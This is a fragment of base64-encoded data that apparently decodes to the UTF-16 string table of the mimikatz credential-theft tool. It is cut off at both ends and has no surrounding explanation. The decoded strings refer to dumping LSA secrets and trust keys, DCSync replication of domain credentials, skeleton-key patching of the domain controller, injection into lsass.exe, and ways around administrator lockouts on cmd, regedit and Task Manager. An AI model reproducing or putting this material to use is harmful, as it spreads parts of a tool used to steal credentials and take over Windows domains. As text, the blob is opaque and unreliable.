gB0AGkAYQBsAHMAAABPAGwAZABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAACAAIAAgACAARABlAGYAYQB1AGwAdAAgAFMAYQBsAHQAIAA6ACAAJQAuACoAcwAKACAAIAAgACAARABlAGYAYQB1AGwAdAAgAEkAdABlAHIAYQB0AGkAbwBuAHMAIAA6ACAAJQB1AAoAAAAAAAAAAABTAGUAcgB2AGkAYwBlAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAATwBsAGQAZQByAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAAAAACAAIAAgACAAUgBhAG4AZABvAG0AIABWAGEAbAB1AGUAIAA6ACAAAAAgACAAIAAgACAAIAAlAHMAIAA6ACAAAAAgACAAIAAgACAAIAAlAHMAIAAoACUAdQApACAAOgAgAAAAAAAAAAAATgBPAE4ARQAgACAAIAAAAE4AVAA0AE8AVwBGACAAAABDAEwARQBBAFIAIAAgAAAAVgBFAFIAUwBJAE8ATgAAACAAWwAlAHMAXQAgACUAdwBaACAALQA+ACAAJQB3AFoACgAAAAAAAAAgACAAIAAgACoAIAAAAAAAdQBuAGsAbgBvAHcAbgA/AAAAAAAAAAAAIAAtACAAJQBzACAALQAgAAAAAAAAAAAALQAgACUAdQAgAC0AIAAAAGwAcwBhAGQAYgAuAGQAbABsAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AdAByAHUAcwB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHQAcgB1AHMAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAKAEMAdQByAHIAZQBuAHQAIABkAG8AbQBhAGkAbgA6ACAAJQB3AFoAIAAoACUAdwBaAAAAAAAAAAoARABvAG0AYQBpAG4AOgAgACUAdwBaACAAKAAlAHcAWgAAAAAAAAAgACAASQBuACAAAAAAAAAAIABPAHUAdAAgAAAAAAAAACAASQBuAC0AMQAAAAAAAABPAHUAdAAtADEAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwB0AHIAdQBzAHQAIAA7ACAATABzAGEAUQB1AGUAcgB5AFQAcgB1AHMAdABlAGQARABvAG0AYQBpAG4ASQBuAGYAbwBCAHkATgBhAG0AZQAgACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwB0AHIAdQBzAHQAIAA7ACAATABzAGEARQBuAHUAbQBlAHIAYQB0AGUAVAByAHUAcwB0AGUAZABEAG8AbQBhAGkAbgBzAEUAeAAgACUAMAA4AHgACgAAACAAIAAqACAAUgBTAEEAIABrAGUAeQAKAAAAAAAAAAAAbgB0AGQAcwAAAAAAAAAAAAkAUABGAFgAIABjAG8AbgB0AGEAaQBuAGUAcgAgACAAOgAgACUAcwAgAC0AIAAnACUAcwAnAAoAAAAAAAAAAAAgACAAKgAgAEwAZQBnAGEAYwB5ACAAawBlAHkACgAAAGsAZQB5AAAAbABlAGcAYQBjAHkAAAAAAAAAAAAAAAAAIAAgACoAIABVAG4AawBuAG8AdwBuACAAawBlAHkAIAAoAHMAZQBlAG4AIABhAHMAIAAlADAAOAB4ACkACgAAAAkARQB4AHAAbwByAHQAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAgAC0AIAAnACUAcwAnAAoAAAAAAAAAAABHACQAQgBDAEsAVQBQAEsARQBZAF8AAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEsAZQB5AEYAcgBvAG0ARwBVAEkARAAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBMAHMAYQBSAGUAdAByAGkAZQB2AGUAUAByAGkAdgBhAHQAZQBEAGEAdABhADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAAcwBlAGMAcgBlAHQAAAAAACAAcwBlAGUAbQBzACAAdABvACAAYgBlACAAYQAgAHYAYQBsAGkAZAAgAEcAVQBJAEQACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBiAGsAZQB5ACAAOwAgAEkAbgB2AGEAbABpAGQAIABHAFUASQBEACAAKAAwAHgAJQAwADgAeAApACAAOwAgACUAcwAKAAAACgBDAHUAcgByAGUAbgB0ACAAcAByAGUAZgBlAHIAZQBkACAAawBlAHkAOgAgACAAIAAgACAAIAAgAAAAAAAAAEcAJABCAEMASwBVAFAASwBFAFkAXwBQAFIARQBGAEUAUgBSAEUARAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGIAawBlAHkAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8ATABzAGEAUgBlAHQAcgBpAGUAdgBlAFAAcgBpAHYAYQB0AGUARABhAHQAYQA6ACAAMAB4ACUAMAA4AHgACgAAAAAACgBDAG8AbQBwAGEAdABpAGIAaQBsAGkAdAB5ACAAcAByAGUAZgBlAHIAZQBkACAAawBlAHkAOgAgAAAAAAAAAEcAJABCAEMASwBVAFAASwBFAFkAXwBQAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwByAHAAZABhAHQAYQAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBMAHMAYQBSAGUAdAByAGkAZQB2AGUAUAByAGkAdgBhAHQAZQBEAGEAdABhADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAAawBkAGMAAABbAEQAQwBdACAATwBiAGoAZQBjAHQAIAB3AGkAdABoACAARwBVAEkARAAgACcAJQBzACcACgAAAFsARABDAF0AIAAnACUAcwAnACAAdwBpAGwAbAAgAGIAZQAgAHQAaABlACAAdQBzAGUAcgAgAGEAYwBjAG8AdQBuAHQACgAAAGwAZABhAHAAAAAAAAAAAABuAGMAYQBjAG4AXwBpAHAAXwB0AGMAcAAAAAAAAAAAAAAAAAAAAAAAWwBEAEMAXQAgAG0AcwAtAEQAUwAtAFIAZQBwAGwAaQBjAGEAdABpAG8AbgBFAHAAbwBjAGgAIABpAHMAOgAgACUAdQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABEAFIAUwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwAsACAAaQBuAHYAYQBsAGkAZAAgAGQAdwBPAHUAdABWAGUAcgBzAGkAbwBuACAAKAAlAHUAKQAgAGEAbgBkAC8AbwByACAAYwBOAHUAbQBPAGIAagBlAGMAdABzACAAKAAlAHUAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAE0AaQBzAHMAaQBuAGcAIAB1AHMAZQByACAAbwByACAAZwB1AGkAZAAgAGEAcgBnAHUAbQBlAG4AdAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAARABvAG0AYQBpAG4AIABDAG8AbgB0AHIAbwBsAGwAZQByACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABEAG8AbQBhAGkAbgAgAG4AbwB0ACAAcAByAGUAcwBlAG4AdAAsACAAbwByACAAZABvAGUAcwBuACcAdAAgAGwAbwBvAGsAIABsAGkAawBlACAAYQAgAEYAUQBEAE4ACgAAAAAAJQBzACUALgAqAHMAJQBzAAAAAAAAAAAAIAAgACAAIAAlAHMALQAlADIAdQA6ACAAAAAAAAAAAAAgACAASABhAHMAaAAgACUAcwA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAUgB0AGwARABlAGMAcgB5AHAAdABEAEUAUwAyAGIAbABvAGMAawBzADEARABXAE8AUgBEAAAAAAAAAAAACgBPAGIAagBlAGMAdAAgAFIARABOACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAABTAEMAUgBJAFAAVAAAAAAAQQBDAEMATwBVAE4AVABEAEkAUwBBAEIATABFAAAAAAAwAHgANAAgAD8AAAAAAAAASABPAE0ARQBEAEkAUgBfAFIARQBRAFUASQBSAEUARAAAAAAAAAAAAEwATwBDAEsATwBVAFQAAABQAEEAUwBTAFcARABfAE4ATwBUAFIARQBRAEQAAAAAAFAAQQBTAFMAVwBEAF8AQwBBAE4AVABfAEMASABBAE4ARwBFAAAAAABFAE4AQwBSAFkAUABUAEUARABfAFQARQBYAFQAXwBQAEEAUwBTAFcATwBSAEQAXwBBAEwATABPAFcARQBEAAAAVABFAE0AUABfAEQAVQBQAEwASQBDAEEAVABFAF8AQQBDAEMATwBVAE4AVAAAAAAATgBPAFIATQBBAEwAXwBBAEMAQwBPAFUATgBUAAAAAAAwAHgANAAwADAAIAA/AAAASQBOAFQARQBSAEQATwBNAEEASQBOAF8AVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAAAAAAAAABXAE8AUgBLAFMAVABBAFQASQBPAE4AXwBUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAAAAAAFMARQBSAFYARQBSAF8AVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAAAAAAAAAAAADAAeAA0ADAAMAAwACAAPwAAAAAAAAAAADAAeAA4ADAAMAAwACAAPwAAAAAAAAAAAEQATwBOAFQAXwBFAFgAUABJAFIARQBfAFAAQQBTAFMAVwBEAAAAAABNAE4AUwBfAEwATwBHAE8ATgBfAEEAQwBDAE8AVQBOAFQAAAAAAAAAUwBNAEEAUgBUAEMAQQBSAEQAXwBSAEUAUQBVAEkAUgBFAEQAAAAAAFQAUgBVAFMAVABFAEQAXwBGAE8AUgBfAEQARQBMAEUARwBBAFQASQBPAE4AAAAAAE4ATwBUAF8ARABFAEwARQBHAEEAVABFAEQAAAAAAAAAVQBTAEUAXwBEAEUAUwBfAEsARQBZAF8ATwBOAEwAWQAAAAAAAAAAAEQATwBOAFQAXwBSAEUAUQBVAEkAUgBFAF8AUABSAEUAQQBVAFQASAAAAAAAAAAAAFAAQQBTAFMAVwBPAFIARABfAEUAWABQAEkAUgBFAEQAAAAAAAAAAAAAAAAAAAAAAFQAUgBVAFMAVABFAEQAXwBUAE8AXwBBAFUAVABIAEUATgBUAEkAQwBBAFQARQBfAEYATwBSAF8ARABFAEwARQBHAEEAVABJAE8ATgAAAAAATgBPAF8AQQBVAFQASABfAEQAQQBUAEEAXwBSAEUAUQBVAEkAUgBFAEQAAAAAAAAAUABBAFIAVABJAEEATABfAFMARQBDAFIARQBUAFMAXwBBAEMAQwBPAFUATgBUAAAAVQBTAEUAXwBBAEUAUwBfAEsARQBZAFMAAAAAAAAAAAAwAHgAMQAwADAAMAAwADAAMAAwACAAPwAAAAAAAAAAADAAeAAyADAAMAAwADAAMAAwADAAIAA/AAAAAAAAAAAAMAB4ADQAMAAwADAAMAAwADAAMAAgAD8AAAAAAAAAAAAwAHgAOAAwADAAMAAwADAAMAAwACAAPwAAAAAAAAAAAEQATwBNAEEASQBOAF8ATwBCAEoARQBDAFQAAAAAAAAARwBSAE8AVQBQAF8ATwBCAEoARQBDAFQAAAAAAAAAAABOAE8ATgBfAFMARQBDAFUAUgBJAFQAWQBfAEcAUgBPAFUAUABfAE8AQgBKAEUAQwBUAAAAAAAAAEEATABJAEEAUwBfAE8AQgBKAEUAQwBUAAAAAAAAAAAATgBPAE4AXwBTAEUAQwBVAFIASQBUAFkAXwBBAEwASQBBAFMAXwBPAEIASgBFAEMAVAAAAAAAAABVAFMARQBSAF8ATwBCAEoARQBDAFQAAABNAEEAQwBIAEkATgBFAF8AQQBDAEMATwBVAE4AVAAAAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAAAAAAAAQQBQAFAAXwBCAEEAUwBJAEMAXwBHAFIATwBVAFAAAABBAFAAUABfAFEAVQBFAFIAWQBfAEcAUgBPAFUAUAAAACoAKgAgAFMAQQBNACAAQQBDAEMATwBVAE4AVAAgACoAKgAKAAoAAABTAEEATQAgAFUAcwBlAHIAbgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAA6ACAAAABVAHMAZQByACAAUAByAGkAbgBjAGkAcABhAGwAIABOAGEAbQBlACAAIAA6ACAAAABBAGMAYwBvAHUAbgB0ACAAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgACgAIAAlAHMAIAApAAoAAABVAHMAZQByACAAQQBjAGMAbwB1AG4AdAAgAEMAbwBuAHQAcgBvAGwAIAA6ACAAJQAwADgAeAAgACgAIAAAAAAAQQBjAGMAbwB1AG4AdAAgAGUAeABwAGkAcgBhAHQAaQBvAG4AIAAgACAAOgAgAAAAUABhAHMAcwB3AG8AcgBkACAAbABhAHMAdAAgAGMAaABhAG4AZwBlACAAOgAgAAAATwBiAGoAZQBjAHQAIABTAGUAYwB1AHIAaQB0AHkAIABJAEQAIAAgACAAOgAgAAAATwBiAGoAZQBjAHQAIABSAGUAbABhAHQAaQB2AGUAIABJAEQAIAAgACAAOgAgACUAdQAKAAAAAAAKAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA6AAoAAAAAAGwAbQAgACAAAAAAAAAAAAAKAFMAdQBwAHAAbABlAG0AZQBuAHQAYQBsACAAQwByAGUAZABlAG4AdABpAGEAbABzADoACgAAACoAIAAlAHcAWgAgACoACgAAAAAAJTAyeAAAAAAAAAAAIAAgACAAIABVAG4AawBuAG8AdwBuACAAZABhAHQAYQAgADoAIAAAACoAKgAgAFQAUgBVAFMAVABFAEQAIABEAE8ATQBBAEkATgAgAC0AIABBAG4AdABpAHMAbwBjAGkAYQBsACAAKgAqAAoACgAAAFAAYQByAHQAbgBlAHIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAAAAYQBjAGMAbwB1AG4AdAAAAGMAbwBtAHAAdQB0AGUAcgAAAAAAAAAAACAAIABBAGMAYwBvAHUAbgB0ADoAIAAlAHMACgAAAAAAIAAgAE4AVABMAE0AIAAgACAAOgAgAAAAIAAgAE4AVABMAE0ALQAxACAAOgAgAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAEkAXwBOAGUAdABTAGUAcgB2AGUAcgBUAHIAdQBzAHQAUABhAHMAcwB3AG8AcgBkAHMARwBlAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAFMAZQByAHYAZQByAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABkAG8AZQBzACAAbgBvAHQAIABtAGEAdABjAGgAIABDAGEAbgBkAGkAZABhAHQAZQBTAGUAcgB2AGUAcgBDAHIAZQBkAGUAbgB0AGkAYQBsAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAEkAXwBOAGUAdABTAGUAcgB2AGUAcgBBAHUAdABoAGUAbgB0AGkAYwBhAHQAZQAyACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAEkAXwBOAGUAdABTAGUAcgB2AGUAcgBSAGUAcQBDAGgAYQBsAGwAZQBuAGcAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAG4AdABsAG0AIABoAGEAcwBoAC8AcgBjADQAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAG4AdABsAG0ACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIAB1AHMAZQByAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAZABjAAoAAAAAAAAAYwBtAGQAAAAAAAAAAAAAAEMAbwBtAG0AYQBuAGQAIABQAHIAbwBtAHAAdAAgACAAIAAgACAAIAAgACAAIAAgACgAdwBpAHQAaABvAHUAdAAgAEQAaQBzAGEAYgBsAGUAQwBNAEQAKQAAAAAAAAAAAHIAZQBnAGUAZABpAHQAAABSAGUAZwBpAHMAdAByAHkAIABFAGQAaQB0AG8AcgAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAKQAAAAAAdABhAHMAawBtAGcAcgAAAFQAYQBzAGsAIABNAGEAbgBhAGcAZQByACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgAdwBpAHQAaABvAHUAdAAgAEQAaQBzAGEAYgBsAGUAVABhAHMAawBNAGcAcgApAAAAAAAAAAAAbgBjAHIAbwB1AHQAZQBtAG8AbgAAAAAASgB1AG4AaQBwAGUAcgAgAE4AZQB0AHcAbwByAGsAIABDAG8AbgBuAGUAYwB0ACAAKAB3AGkAdABoAG8AdQB0ACAAcgBvAHUAdABlACAAbQBvAG4AaQB0AG8AcgBpAG4AZwApAAAAAABkAGUAdABvAHUAcgBzAAAAAAAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABUAHIAeQAgAHQAbwAgAGUAbgB1AG0AZQByAGEAdABlACAAYQBsAGwAIABtAG8AZAB1AGwAZQBzACAAdwBpAHQAaAAgAEQAZQB0AG8AdQByAHMALQBsAGkAawBlACAAaABvAG8AawBzAAAAbQBlAG0AcwBzAHAAAAAAAHMAawBlAGwAZQB0AG8AbgAAAAAAAAAAAGMAbwBtAHAAcgBlAHMAcwBtAGUAAAAAAG0AaQBzAGMAAAAAAAAAAABNAGkAcwBjAGUAbABsAGEAbgBlAG8AdQBzACAAbQBvAGQAdQBsAGUAAAAAAAAAAABLAGkAdwBpAEEAbgBkAEMATQBEAAAAAABEAGkAcwBhAGIAbABlAEMATQBEAAAAAABjAG0AZAAuAGUAeABlAAAASwBpAHcAaQBBAG4AZABSAGUAZwBpAHMAdAByAHkAVABvAG8AbABzAAAAAAAAAAAARABpAHMAYQBiAGwAZQBSAGUAZwBpAHMAdAByAHkAVABvAG8AbABzAAAAAAAAAAAAcgBlAGcAZQBkAGkAdAAuAGUAeABlAAAASwBpAHcAaQBBAG4AZABUAGEAcwBrAE0AZwByAAAAAABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAAAAAAHQAYQBzAGsAbQBnAHIALgBlAHgAZQAAAGQAcwBOAGMAUwBlAHIAdgBpAGMAZQAAAAkAKAAlAHcAWgApAAAAAAAJAFsAJQB1AF0AIAAlAHcAWgAgACEAIAAAAAAAAAAAACUALQAzADIAUwAAAAAAAAAjACAAJQB1AAAAAAAAAAAACQAgACUAcAAgAC0APgAgACUAcAAAAAAAJQB3AFoAIAAoACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AZABlAHQAbwB1AHIAcwBfAGMAYQBsAGwAYgBhAGMAawBfAHAAcgBvAGMAZQBzAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAUABhAHQAYwBoACAATwBLACAAZgBvAHIAIAAnACUAcwAnACAAZgByAG8AbQAgACcAJQBzACcAIAB0AG8AIAAnACUAcwAnACAAQAAgACUAcAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AZwBlAG4AZQByAGkAYwBfAG4AbwBnAHAAbwBfAHAAYQB0AGMAaAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABtAHMAdgBjAHIAdAAuAGQAbABsAAAAAABmb3BlbgAAAGZ3cHJpbnRmAAAAAGZjbG9zZQAAAAAAAGwAcwBhAHMAcwAuAGUAeABlAAAAAAAAAG0AcwB2ADEAXwAwAC4AZABsAGwAAAAAAEkAbgBqAGUAYwB0AGUAZAAgAD0AKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIABUAHIAYQBtAHAAbwBsAGkAbgBlACAAbgAwACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIABUAHIAYQBtAHAAbwBsAGkAbgBlACAAbgAxACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIAByAGUAYQBsACAAYQBzAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AcwBlAGEAcgBjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABQAHIAbwBjAGUAcwBzAEkAZABGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABMb2NhbEFsbG9jAAAAAAAAbABlAHQAYQBlAHMAAAAAAGsAZABjAHMAdgBjAC4AZABsAGwAAAAAAFsASwBEAEMAXQAgAGQAYQB0AGEACgAAAFsASwBEAEMAXQAgAHMAdAByAHUAYwB0AAoAAAAAAAAAWwBLAEQAQwBdACAAawBlAHkAcwAgAHAAYQB0AGMAaAAgAE8ASwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAFMAZQBjAG8AbgBkACAAcABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABGAGkAcgBzAHQAIABwAGEAdAB0AGUAcgBuACAAbgBvAHQAIABmAG8AdQBuAGQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAYwByAHkAcAB0AGQAbABsAC4AZABsAGwAAAAAAAAAAABbAFIAQwA0AF0AIABmAHUAbgBjAHQAaQBvAG4AcwAKAAAAAAAAAAAAWwBSAEMANABdACAAaQBuAGkAdAAgAHAAYQB0AGMAaAAgAE8ASwAKAAAAAAAAAAAAWwBSAEMANABdACAAZABlAGMAcgB5AHAAdAAgAHAAYQB0AGMAaAAgAE8ASwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAYwByAGUAYQB0AGUAIAByAGUAbQBvAHQAZQAgAGYAdQBuAGMAdABpAG8AbgBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFUAcwBpAG4AZwAgACcAJQBzACcAIABhAHMAIABpAG4AcAB1AHQAIABmAGkAbABlAAoAAAAAAAAAIAAqACAATwByAGkAZwBpAG4AYQBsACAAcwBpAHoAZQAgACAAOgAgACUAdQAKAAAAbQBpAG0AaQBrAGEAdAB6AF8AeAA2ADQALgBjAG8AbQBwAHIAZQBzAHMAZQBkAAAAIAAqACAAQwBvAG0AcAByAGUAcwBzAGUAZAAgAHMAaQB6AGUAOgAgACUAdQAgACgAJQAuADIAZgAlACUAKQAKAFUAcwBpAG4AZwAgACcAJQBzACcAIABhAHMAIABvAHUAdABwAHUAdAAgAGYAaQBsAGUALgAuAC4AIAAAAAAAAABPAEsAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AYwBvAG0AcAByAGUAcwBzAG0AZQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABsAG8AYwBhAGwAZwByAG8AdQBwAAAAAABnAHIAbwB1AHAAAAAAAAAAbgBlAHQAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAQgB1AGkAbAB0AG